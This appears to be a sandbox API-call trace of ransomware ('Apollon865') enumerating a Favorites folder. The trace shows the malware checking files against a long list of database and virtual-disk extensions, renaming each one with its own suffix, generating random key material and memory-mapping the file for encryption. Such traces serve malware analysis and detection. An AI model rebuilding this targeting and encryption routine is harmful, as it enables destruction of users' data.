	[0053.149] lstrcpyW (in: lpString1=0x119e658, lpString2="Windows Live Mail.url" | out: lpString1="Windows Live Mail.url") returned="Windows Live Mail.url"
	[0053.149] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0053.149] lstrlenW (lpString="Apollon865") returned 10
	[0053.149] lstrcmpiW (lpString1="e Mail.url", lpString2="Apollon865") returned 1
	[0053.149] lstrlenW (lpString=".dll") returned 4
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".dll") returned 1
	[0053.149] lstrlenW (lpString=".lnk") returned 4
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".lnk") returned 1
	[0053.149] lstrlenW (lpString=".ini") returned 4
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".ini") returned 1
	[0053.149] lstrlenW (lpString=".sys") returned 4
	[0053.150] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".sys") returned 1
	[0053.150] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0053.150] lstrlenW (lpString="bak") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.150] lstrlenW (lpString="ba_") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.150] lstrlenW (lpString="dbb") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.150] lstrlenW (lpString="vmdk") returned 4
	[0053.150] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.150] lstrlenW (lpString="rar") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.150] lstrlenW (lpString="zip") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.150] lstrlenW (lpString="tgz") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.150] lstrlenW (lpString="vbox") returned 4
	[0053.150] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.150] lstrlenW (lpString="vdi") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.150] lstrlenW (lpString="vhd") returned 3
	[0053.150] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.150] lstrlenW (lpString="vhdx") returned 4
	[0053.150] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.150] lstrlenW (lpString="avhd") returned 4
	[0053.150] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.151] lstrlenW (lpString="db") returned 2
	[0053.151] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.151] lstrlenW (lpString="db2") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.151] lstrlenW (lpString="db3") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.151] lstrlenW (lpString="dbf") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.151] lstrlenW (lpString="mdf") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.151] lstrlenW (lpString="mdb") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.151] lstrlenW (lpString="sql") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.151] lstrlenW (lpString="sqlite") returned 6
	[0053.151] lstrcmpiW (lpString1="il.url", lpString2="sqlite") returned -1
	[0053.151] lstrlenW (lpString="sqlite3") returned 7
	[0053.151] lstrcmpiW (lpString1="ail.url", lpString2="sqlite3") returned -1
	[0053.151] lstrlenW (lpString="sqlitedb") returned 8
	[0053.151] lstrcmpiW (lpString1="Mail.url", lpString2="sqlitedb") returned -1
	[0053.151] lstrlenW (lpString="xml") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.151] lstrlenW (lpString="$er") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.151] lstrlenW (lpString="4dd") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.151] lstrlenW (lpString="4dl") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.151] lstrlenW (lpString="^^^") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.151] lstrlenW (lpString="abs") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.151] lstrlenW (lpString="abx") returned 3
	[0053.151] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.151] lstrlenW (lpString="accdb") returned 5
	[0053.152] lstrcmpiW (lpString1="l.url", lpString2="accdb") returned 1
	[0053.152] lstrlenW (lpString="accdc") returned 5
	[0053.152] lstrcmpiW (lpString1="l.url", lpString2="accdc") returned 1
	[0053.152] lstrlenW (lpString="accde") returned 5
	[0053.152] lstrcmpiW (lpString1="l.url", lpString2="accde") returned 1
	[0053.152] lstrlenW (lpString="accdr") returned 5
	[0053.152] lstrcmpiW (lpString1="l.url", lpString2="accdr") returned 1
	[0053.152] lstrlenW (lpString="accdt") returned 5
	[0053.152] lstrcmpiW (lpString1="l.url", lpString2="accdt") returned 1
	[0053.152] lstrlenW (lpString="accdw") returned 5
	[0053.152] lstrcmpiW (lpString1="l.url", lpString2="accdw") returned 1
	[0053.152] lstrlenW (lpString="accft") returned 5
	[0053.152] lstrcmpiW (lpString1="l.url", lpString2="accft") returned 1
	[0053.152] lstrlenW (lpString="adb") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.152] lstrlenW (lpString="adb") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.152] lstrlenW (lpString="ade") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.152] lstrlenW (lpString="adf") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.152] lstrlenW (lpString="adn") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.152] lstrlenW (lpString="adp") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.152] lstrlenW (lpString="alf") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.152] lstrlenW (lpString="ask") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.152] lstrlenW (lpString="btr") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.152] lstrlenW (lpString="cat") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.152] lstrlenW (lpString="cdb") returned 3
	[0053.152] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.153] lstrlenW (lpString="ckp") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.153] lstrlenW (lpString="cma") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.153] lstrlenW (lpString="cpd") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.153] lstrlenW (lpString="dacpac") returned 6
	[0053.153] lstrcmpiW (lpString1="il.url", lpString2="dacpac") returned 1
	[0053.153] lstrlenW (lpString="dad") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.153] lstrlenW (lpString="dadiagrams") returned 10
	[0053.153] lstrcmpiW (lpString1="e Mail.url", lpString2="dadiagrams") returned 1
	[0053.153] lstrlenW (lpString="daschema") returned 8
	[0053.153] lstrcmpiW (lpString1="Mail.url", lpString2="daschema") returned 1
	[0053.153] lstrlenW (lpString="db-journal") returned 10
	[0053.153] lstrcmpiW (lpString1="e Mail.url", lpString2="db-journal") returned 1
	[0053.153] lstrlenW (lpString="db-shm") returned 6
	[0053.153] lstrcmpiW (lpString1="il.url", lpString2="db-shm") returned 1
	[0053.153] lstrlenW (lpString="db-wal") returned 6
	[0053.153] lstrcmpiW (lpString1="il.url", lpString2="db-wal") returned 1
	[0053.153] lstrlenW (lpString="dbc") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.153] lstrlenW (lpString="dbs") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.153] lstrlenW (lpString="dbt") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.153] lstrlenW (lpString="dbv") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.153] lstrlenW (lpString="dbx") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.153] lstrlenW (lpString="dcb") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.153] lstrlenW (lpString="dct") returned 3
	[0053.153] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.154] lstrlenW (lpString="dcx") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.154] lstrlenW (lpString="ddl") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.154] lstrlenW (lpString="dlis") returned 4
	[0053.154] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.154] lstrlenW (lpString="dp1") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.154] lstrlenW (lpString="dqy") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.154] lstrlenW (lpString="dsk") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.154] lstrlenW (lpString="dsn") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.154] lstrlenW (lpString="dtsx") returned 4
	[0053.154] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.154] lstrlenW (lpString="dxl") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.154] lstrlenW (lpString="eco") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.154] lstrlenW (lpString="ecx") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.154] lstrlenW (lpString="edb") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.154] lstrlenW (lpString="epim") returned 4
	[0053.154] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.154] lstrlenW (lpString="fcd") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.154] lstrlenW (lpString="fdb") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.154] lstrlenW (lpString="fic") returned 3
	[0053.154] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.154] lstrlenW (lpString="flexolibrary") returned 12
	[0053.154] lstrcmpiW (lpString1="ive Mail.url", lpString2="flexolibrary") returned 1
	[0053.155] lstrlenW (lpString="fm5") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.155] lstrlenW (lpString="fmp") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.155] lstrlenW (lpString="fmp12") returned 5
	[0053.155] lstrcmpiW (lpString1="l.url", lpString2="fmp12") returned 1
	[0053.155] lstrlenW (lpString="fmpsl") returned 5
	[0053.155] lstrcmpiW (lpString1="l.url", lpString2="fmpsl") returned 1
	[0053.155] lstrlenW (lpString="fol") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.155] lstrlenW (lpString="fp3") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.155] lstrlenW (lpString="fp4") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.155] lstrlenW (lpString="fp5") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.155] lstrlenW (lpString="fp7") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.155] lstrlenW (lpString="fpt") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.155] lstrlenW (lpString="frm") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.155] lstrlenW (lpString="gdb") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.155] lstrlenW (lpString="gdb") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.155] lstrlenW (lpString="grdb") returned 4
	[0053.155] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.155] lstrlenW (lpString="gwi") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.155] lstrlenW (lpString="hdb") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.155] lstrlenW (lpString="his") returned 3
	[0053.155] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.155] lstrlenW (lpString="ib") returned 2
	[0053.156] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.156] lstrlenW (lpString="idb") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.156] lstrlenW (lpString="ihx") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.156] lstrlenW (lpString="itdb") returned 4
	[0053.156] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.156] lstrlenW (lpString="itw") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.156] lstrlenW (lpString="jet") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.156] lstrlenW (lpString="jtx") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.156] lstrlenW (lpString="kdb") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.156] lstrlenW (lpString="kexi") returned 4
	[0053.156] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.156] lstrlenW (lpString="kexic") returned 5
	[0053.156] lstrcmpiW (lpString1="l.url", lpString2="kexic") returned 1
	[0053.156] lstrlenW (lpString="kexis") returned 5
	[0053.156] lstrcmpiW (lpString1="l.url", lpString2="kexis") returned 1
	[0053.156] lstrlenW (lpString="lgc") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.156] lstrlenW (lpString="lwx") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.156] lstrlenW (lpString="maf") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.156] lstrlenW (lpString="maq") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.156] lstrlenW (lpString="mar") returned 3
	[0053.156] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.156] lstrlenW (lpString="marshal") returned 7
	[0053.156] lstrcmpiW (lpString1="ail.url", lpString2="marshal") returned -1
	[0053.156] lstrlenW (lpString="mas") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.157] lstrlenW (lpString="mav") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.157] lstrlenW (lpString="maw") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.157] lstrlenW (lpString="mdbhtml") returned 7
	[0053.157] lstrcmpiW (lpString1="ail.url", lpString2="mdbhtml") returned -1
	[0053.157] lstrlenW (lpString="mdn") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.157] lstrlenW (lpString="mdt") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.157] lstrlenW (lpString="mfd") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.157] lstrlenW (lpString="mpd") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.157] lstrlenW (lpString="mrg") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.157] lstrlenW (lpString="mud") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.157] lstrlenW (lpString="mwb") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.157] lstrlenW (lpString="myd") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.157] lstrlenW (lpString="ndf") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.157] lstrlenW (lpString="nnt") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.157] lstrlenW (lpString="nrmlib") returned 6
	[0053.157] lstrcmpiW (lpString1="il.url", lpString2="nrmlib") returned -1
	[0053.157] lstrlenW (lpString="ns2") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.157] lstrlenW (lpString="ns3") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.157] lstrlenW (lpString="ns4") returned 3
	[0053.157] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.158] lstrlenW (lpString="nsf") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.158] lstrlenW (lpString="nv") returned 2
	[0053.158] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.158] lstrlenW (lpString="nv2") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.158] lstrlenW (lpString="nwdb") returned 4
	[0053.158] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.158] lstrlenW (lpString="nyf") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.158] lstrlenW (lpString="odb") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.158] lstrlenW (lpString="odb") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.158] lstrlenW (lpString="oqy") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.158] lstrlenW (lpString="ora") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.158] lstrlenW (lpString="orx") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.158] lstrlenW (lpString="owc") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.158] lstrlenW (lpString="p96") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.158] lstrlenW (lpString="p97") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.158] lstrlenW (lpString="pan") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.158] lstrlenW (lpString="pdb") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.158] lstrlenW (lpString="pdm") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.158] lstrlenW (lpString="pnz") returned 3
	[0053.158] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.159] lstrlenW (lpString="qry") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.159] lstrlenW (lpString="qvd") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.159] lstrlenW (lpString="rbf") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.159] lstrlenW (lpString="rctd") returned 4
	[0053.159] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.159] lstrlenW (lpString="rod") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.159] lstrlenW (lpString="rodx") returned 4
	[0053.159] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.159] lstrlenW (lpString="rpd") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.159] lstrlenW (lpString="rsd") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.159] lstrlenW (lpString="sas7bdat") returned 8
	[0053.159] lstrcmpiW (lpString1="Mail.url", lpString2="sas7bdat") returned -1
	[0053.159] lstrlenW (lpString="sbf") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.159] lstrlenW (lpString="scx") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.159] lstrlenW (lpString="sdb") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.159] lstrlenW (lpString="sdc") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.159] lstrlenW (lpString="sdf") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.159] lstrlenW (lpString="sis") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.159] lstrlenW (lpString="spq") returned 3
	[0053.159] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.159] lstrlenW (lpString="te") returned 2
	[0053.159] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.159] lstrlenW (lpString="teacher") returned 7
	[0053.160] lstrcmpiW (lpString1="ail.url", lpString2="teacher") returned -1
	[0053.160] lstrlenW (lpString="tmd") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.160] lstrlenW (lpString="tps") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.160] lstrlenW (lpString="trc") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.160] lstrlenW (lpString="trc") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.160] lstrlenW (lpString="trm") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.160] lstrlenW (lpString="udb") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.160] lstrlenW (lpString="udl") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.160] lstrlenW (lpString="usr") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.160] lstrlenW (lpString="v12") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.160] lstrlenW (lpString="vis") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.160] lstrlenW (lpString="vpd") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.160] lstrlenW (lpString="vvv") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.160] lstrlenW (lpString="wdb") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.160] lstrlenW (lpString="wmdb") returned 4
	[0053.160] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.160] lstrlenW (lpString="wrk") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.160] lstrlenW (lpString="xdb") returned 3
	[0053.160] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.160] lstrlenW (lpString="xld") returned 3
	[0053.161] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.161] lstrlenW (lpString="xmlff") returned 5
	[0053.161] lstrcmpiW (lpString1="l.url", lpString2="xmlff") returned -1
	[0053.161] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.Apollon865") returned 72
	[0053.161] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url.apollon865"), dwFlags=0x1) returned 1
	[0053.161] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.161] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.162] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.162] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.162] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.163] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x154
	[0053.174] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.175] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.175] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.176] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.176] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.176] CloseHandle (hObject=0x154) returned 1
	[0053.176] CloseHandle (hObject=0x118) returned 1
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.177] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
